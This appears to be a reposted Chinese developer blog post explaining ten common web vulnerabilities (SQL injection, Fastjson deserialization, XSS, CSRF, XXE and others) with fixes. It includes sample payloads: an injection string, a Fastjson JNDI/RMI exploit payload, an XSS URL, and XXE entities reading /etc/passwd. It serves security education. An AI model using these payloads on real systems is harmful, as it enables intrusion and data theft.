程序员必备基础:10种常见安全漏洞浅析

[[397390]]

前言

我们日常开发中,很多小伙伴容易忽视安全漏洞问题,认为只要正常实现业务逻辑就可以了。其实,安全性才是最重要的。本文将跟大家一起学习常见的安全漏洞问题,希望对大家有帮助哈。如果本文有什么错误的话,希望大家提出哈,感谢感谢~

1. SQL 注入

1.1 什么是SQL注入?

SQL注入是一种代码注入技术,一般被应用于攻击web应用程序。它通过在web应用接口传入一些特殊参数字符,来欺骗应用服务器,执行恶意的SQL命令,以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。

1.2 SQL注入是如何攻击的?

举个常见的业务场景:在web表单搜索框输入员工名字,然后后台查询出对应名字的员工。

这种场景下,一般都是前端页面把一个名字参数name传到后台,然后后台通过SQL把结果查询出来

  1. name = "田螺"; //前端传过来的 
  2.  
  3. SQL= "select * from staff where name=" + name;  //根据前端传过来的name参数,查询数据库员工表staff 

因为SQL是直接拼接的,如果我们完全信任前端传的参数的话。假如前端传这么一个参数时” or ‘1’=’1’,SQL就变成酱紫的啦。

  1. select * from staff where name='' or '1'='1'

这个SQL会把所有的员工信息全都查出来了,酱紫请求用户已经越权啦。请求者可以获取所有员工的信息,其他用户信息已经暴露了啦。

1.3 如何预防SQL注入问题

1.3.1 使用#{}而不是${}

在MyBatis中,使用#{}而不是${},可以很大程度防止sql注入。

  • 因为#{}是一个参数占位符,对于字符串类型,会自动加上””,其他类型不加。由于Mybatis采用预编译,其后的参数不会再进行SQL编译,所以一定程度上防止SQL注入。
  • ${}是一个简单的字符串替换,字符串是什么,就会解析成什么,存在SQL注入风险

1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接响应一些sql异常信息。

如果SQL发生异常了,不要把这些信息暴露响应给用户,可以自定义异常进行响应

1.3.3 不相信任何外部输入参数,过滤参数中含有的一些数据库关键词关键词

可以加个参数校验过滤的方法,过滤union,or等数据库关键词

1.3.4 适当的权限控制

在你查询信息时,先校验下当前用户是否有这个权限。比如说,实现代码的时候,可以让用户多传一个企业Id什么的,或者获取当前用户的session信息等,在查询前,先校验一下当前用户是否是这个企业下的等等,是的话才有这个查询员工的权限。

2. JSON反序列化漏洞——如Fastjson安全漏洞

2.1 什么是JSON序列化,JSON发序列化

  • 序列化:把对象转换为字节序列的过程
  • 反序列:把字节序列恢复为Java对象的过程

Json序列化就是将对象转换成Json格式的字符串,JSON反序列化就是Json串转换成对象

2.2 JSON 反序列化漏洞是如何被攻击?

不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击。之前Fastjson频繁爆出安全漏洞,我们现在分析fastjson 1.2.24版本的一个反序列化漏洞吧,这个漏洞比较常见的利用手法就是通过jndi注入的方式实现RCE。

我们先来看fastjson一个反序列化的简单例子:

  1. public class User { 
  2.     private String name
  3.  
  4.     private int age; 
  5.  
  6.     public String getName() { 
  7.         return name
  8.     } 
  9.  
  10.     public void setName(String name) { 
  11.         System.out.println("调用了name方法"); 
  12.         this.name = name
  13.     } 
  14.  
  15.     public int getAge() { 
  16.         return age; 
  17.     } 
  18.  
  19.     public void setAge(int age) { 
  20.         System.out.println("调用了age方法"); 
  21.         this.age = age; 
  22.     } 
  23.  
  24.     public static void main(String[] args) { 
  25.         String str = "{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"捡田螺的小男孩\"}"
  26.         User user = JSON.parseObject(str,User.class); 
  27.     } 

运行结果:

  1. 调用了age方法 
  2. 调用了name方法 

加了@type属性就能调用对应对象的setXXX方法,而@type表示指定反序列化成某个类。如果我们能够找到一个类,而这个类的某个setXXX方法中通过我们的精心构造能够完成命令执行,即可达到攻击的目的啦。

com.sun.rowset.JdbcRowSetImpl 就是类似这么一个类,它有两个set方法,分别是setAutoCommit和setDataSourceName”

有兴趣的小伙伴,可以看下它的源代码

  1. public void setDataSourceName(String var1) throws SQLException { 
  2.       if (this.getDataSourceName() != null) { 
  3.           if (!this.getDataSourceName().equals(var1)) { 
  4.               super.setDataSourceName(var1); 
  5.               this.conn = null
  6.               this.ps = null
  7.               this.rs = null
  8.           } 
  9.       } else { 
  10.           super.setDataSourceName(var1); 
  11.       } 
  12.  
  13.   } 
  14.    
  15.     public void setAutoCommit(boolean var1) throws SQLException { 
  16.       if (this.conn != null) { 
  17.           this.conn.setAutoCommit(var1); 
  18.       } else { 
  19.           this.conn = this.connect(); 
  20.           this.conn.setAutoCommit(var1); 
  21.       } 
  22.  
  23.   } 
  24.    
  25.   private Connection connect() throws SQLException { 
  26.       if (this.conn != null) { 
  27.           return this.conn; 
  28.       } else if (this.getDataSourceName() != null) { 
  29.           try { 
  30.               InitialContext var1 = new InitialContext(); 
  31.               DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); 
  32.               return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); 
  33.           } catch (NamingException var3) { 
  34.               throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); 
  35.           } 
  36.       } else { 
  37.           return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null
  38.       } 
  39.   } 

setDataSourceName 简单设置了设置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法调用,参数刚好就是在setDataSourceName中设置的dataSourceName。

因此,有漏洞的反序列代码实现如下即可:

  1. public class FastjsonTest { 
  2.  
  3.     public static void main(String[] argv){ 
  4.         testJdbcRowSetImpl(); 
  5.     } 
  6.  
  7.     public static void testJdbcRowSetImpl(){ 
  8.         //JDK 8u121以后版本需要设置改系统变量 
  9.         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase""true"); 
  10.         //RMI 
  11.         String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + 
  12.                 " \"autoCommit\":true}"
  13.         JSONObject.parseObject(payload2); 
  14.     } 

漏洞复现的流程如下哈:

参考的代码来源这里哈,fastjson漏洞代码测试(https://github.com/earayu/fastjson_jndi_poc)

如何解决json反序列化漏洞问题

可以升级版本,比如fastjson后面版本,增强AutoType打开时的安全性 fastjson,增加了AutoType黑名单等等,都是为了应对这些安全漏洞。

反序列化有fastjson、gson、jackson等等类型,可以替换其他类型。

升级+打开safemode

3. XSS 攻击

3.1 什么是XSS?

XSS 攻击全称跨站脚本攻击(Cross-Site Scripting),这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS攻击一般分三种类型:存储型 、反射型 、DOM型XSS”

3.2 XSS是如何攻击的?

拿反射型举个例子吧,流程图如下:

我们搞点简单代码样例吧,首先正常html页面如下:

  1. <input type="text" name="name" /> 
  2. <input type="submit" value="搜索" onclick="http://127.0.0.1/search?name="
  3. </body> 

用户输入搜索信息,点击搜索按钮,就是到达正常服务器的。如果黑客在url后面的参数中加入如下的恶意攻击代码。

  1. http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');</script></a> 

当用户打开带有恶意代码的URL的时候,正常服务器会解析出请求参数 name,得到””,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。

4.这里的链接我写的是百度搜索页,实际上黑客攻击的时候,是引诱用户输入某些重要信息,然后跳到他们自己的服务器,以窃取用户提交的内容信息。

3.3 如何解决XSS攻击问题

  • 不相信用户的输入,对输入进行过滤,过滤标签等,只允许合法值。
  • HTML 转义

  • 对于链接跳转,如<a href=”xxx” 等,要校验内容,禁止以script开头的非法链接。
  • 限制输入长度等等

4. CSRF 攻击

4.1 什么是CSRF 攻击?

CSRF,跨站请求伪造(英语:Cross-site request forgery),简单点说就是,攻击者盗用了你的身份,以你的名义发送恶意请求。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

4.2 CSRF是如何攻击的呢?

我们来看下这个例子哈(来自百度百科)

  1. Tom 登陆银行,没有退出,浏览器包含了Tom在银行的身份认证信息。
  2. 黑客Jerry将伪造的转账请求,包含在在帖子
  3. Tom在银行网站保持登陆的情况下,浏览帖子
  4. 将伪造的转账请求连同身份认证信息,发送到银行网站
  5. 银行网站看到身份认证信息,以为就是Tom的合法操作,最后造成Tom资金损失。

4.3 如何解决CSRF攻击

检查Referer字段。HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。

添加校验token。

5. 文件上传下载漏洞

5.1 文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。”

解决办法一般就是:

  • 限制服务器相关文件目录的权限
  • 校验上传的文件,如后缀名 禁止上传恶意代码的文件
  • 尽量禁止使用前端上传的文件名

5.2 文件下载漏洞

文件下载漏洞,举个例子,使用 .. 等字符,使应用读取到指定目录之外的其他目录中的文件内容,从而可能读取到服务器的其他相关重要信息。

6. 敏感数据泄露

这个相对比较好理解,一般敏感信息包括密码、用户手机身份证信息、财务数据等等,由于web应用或者API未加密或者疏忽保护,导致这些数据极易被黑客利用。所以我们需要保护好用户的隐私数据,比如用户密码加密保存,请求采用https加密,重要第三方接口采用加签验签,服务端日志不打印敏感数据等等。

7. XXE 漏洞

7.1 什么是XXE

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。”

7.2 XXE三种攻击场景

场景1. 攻击者尝试从服务端提取数据

  1. <?xml version="1.0"?> 
  2. <!DOCTYPE foo [ 
  3. <!ELEMENT foo (#ANY)> 
  4. <!ENTITY file SYSTEM "file:///etc/passwd">]> 
  5. ]> 
  6. <foo>&xxe;</foo> 

场景2. 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络

  1. <!ENTITY xxe SYSTEM "https://192.168.1.1/private">]> 

场景3. 攻击者通过恶意文件执行拒绝服务攻击

  1. <!ENTITY xxe SYSTEM "file:///dev/random">]> 

7.3 如何防御XXE

  • 使用开发语言提供的禁用外部实体的方法
  • 过滤用户提交的XML数据,过滤

8. DDoS 攻击

8.1 什么是DDos攻击

DDoS 攻击,英文全称是 Distributed Denial of Service,谷歌翻译过来就是“分布式拒绝服务”。一般来说是指攻击者对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。在线游戏、互联网金融等领域是 DDoS 攻击的高发行业。

为了方便理解,引用一下知乎上一个非常经典的例子

我开了一家有五十个座位的重庆火锅店,由于用料上等,童叟无欺。平时门庭若市,生意特别红火,而对面二狗家的火锅店却无人问津。二狗为了对付我,想了一个办法,叫了五十个人来我的火锅店坐着却不点菜,让别的客人无法吃饭。”

8.2 如何应对 DDoS 攻击?

  • 高防服务器,即能独立硬防御 50Gbps 以上的服务器,能够帮助网站拒绝服务攻击,定期扫描网络主节点等
  • 黑名单
  • DDoS 清洗
  • CDN 加速

9. 框架或应用漏洞

  • Struts 框架漏洞:远程命令执行漏洞和开放重定向漏洞
  • QQ Browser 9.6:API 权限控制问题导致泄露隐私模式
  • Oracle GlassFish Server:REST CSRF
  • WebLogic: 未授权命令执行漏洞
  • Hacking Docker:Registry API 未授权访问
  • WordPress 4.7 / 4.7.1:REST API 内容注入漏洞

10. 弱口令、证书有效性验证、内部接口在公网暴露、未鉴权等权限相关漏洞

10.1 弱口令

  • 空口令
  • 口令长度小于8
  • 口令不应该为连续的某个字符(QQQQQQ)
  • 账号密码相同(例:root:root)
  • 口令与账号相反(例:root:toor)
  • 口令纯数字(例:112312324234, 电话号)
  • 口令纯字母(例:asdjfhask)
  • 口令已数字代替字母(例:hello word, hell0 w0rd)
  • 口令采用连续性组合(例:123456,abcdef,654321,fedcba)
  • 服务/设备默认出厂口令

10.2 证书有效性验证漏洞

如果不对证书进行有效性验证,那https就如同虚设啦。

  • 如果是客户生成的证书,需要跟系统可信根CA形成信任链,不能为了解决ssl证书报错的问题,选择在客户端代码中信任客户端中所有证书的方式。
  • 证书快过期时,需要提前更换。

10.3 未鉴权等权限相关漏洞

一些比较重要的接口,一般建议鉴权。比如你查询某账号的转账记录,肯定需要先校验该账号是不是操作人旗下的啦。

参考与感谢

  • 【入坑JAVA安全】fastjson中的jndi注入
  • Web渗透之文件上传漏洞总结
  • XXE漏洞利用技巧:从XML到远程代码执行
  • WEB应用常见15种安全漏洞一览
  • 什么是 DDoS 攻击?
  • 弱口令总结(什么是弱口令)

本文转载自微信公众号「捡田螺的小男孩」,可以通过以下二维码关注。转载本文请联系捡田螺的小男孩公众号。

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/140479.html<

(0)
管理的头像管理
上一篇2025-03-03 23:17
下一篇 2025-03-03 23:18

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注